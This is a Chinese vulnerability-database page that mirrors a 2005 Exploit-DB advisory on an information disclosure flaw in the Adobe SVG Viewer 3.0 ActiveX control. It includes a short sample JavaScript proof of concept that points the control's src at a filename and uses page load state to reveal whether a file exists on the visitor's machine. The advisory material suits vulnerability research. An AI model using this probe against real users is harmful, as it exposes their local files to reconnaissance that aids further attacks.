Adobe SVG Viewer 3.0 – ActiveX Control SRC Information Disclosure

43次阅读
没有评论

Adobe SVG Viewer 3.0 – ActiveX Control SRC Information Disclosure

漏洞ID 1055082 漏洞类型
发布时间 2005-05-04 更新时间 2005-05-04
Adobe SVG Viewer 3.0 - ActiveX Control SRC Information DisclosureCVE编号 N/A
Adobe SVG Viewer 3.0 - ActiveX Control SRC Information DisclosureCNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/25597
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/13490/info

The Adobe SVG Viewer ActiveX control is prone to an information disclosure vulnerability. Reports indicate that the Adobe SVG Viewer ActiveX control may be employed to disclose the existence of a target file.

Information that is harvested by leveraging this vulnerability may be used to aid in further attacks.

This vulnerability affects Adobe SVG Viewer version 3.02 and earlier. 

Sample Javascript:
function load(filename)
{
//foo is reference to SVG ActiveX control, filename is the filename
you're looking for
foo.src = filename;
setTimeout("loading()", 5000);
}

function loading()
{
if (document.readyState != 'complete')
{
alert('File does not exist.');
}
else
{
alert('File exists.');
}
window.location.reload(false);
}

相关推荐: Novell Netware FTPServ Unspecifed Directory Traversal Vulnerability

Novell Netware FTPServ Unspecifed Directory Traversal Vulnerability 漏洞ID 1100680 漏洞类型 Input Validation Error 发布时间 2003-03-12 更新时间 …

正文完
 0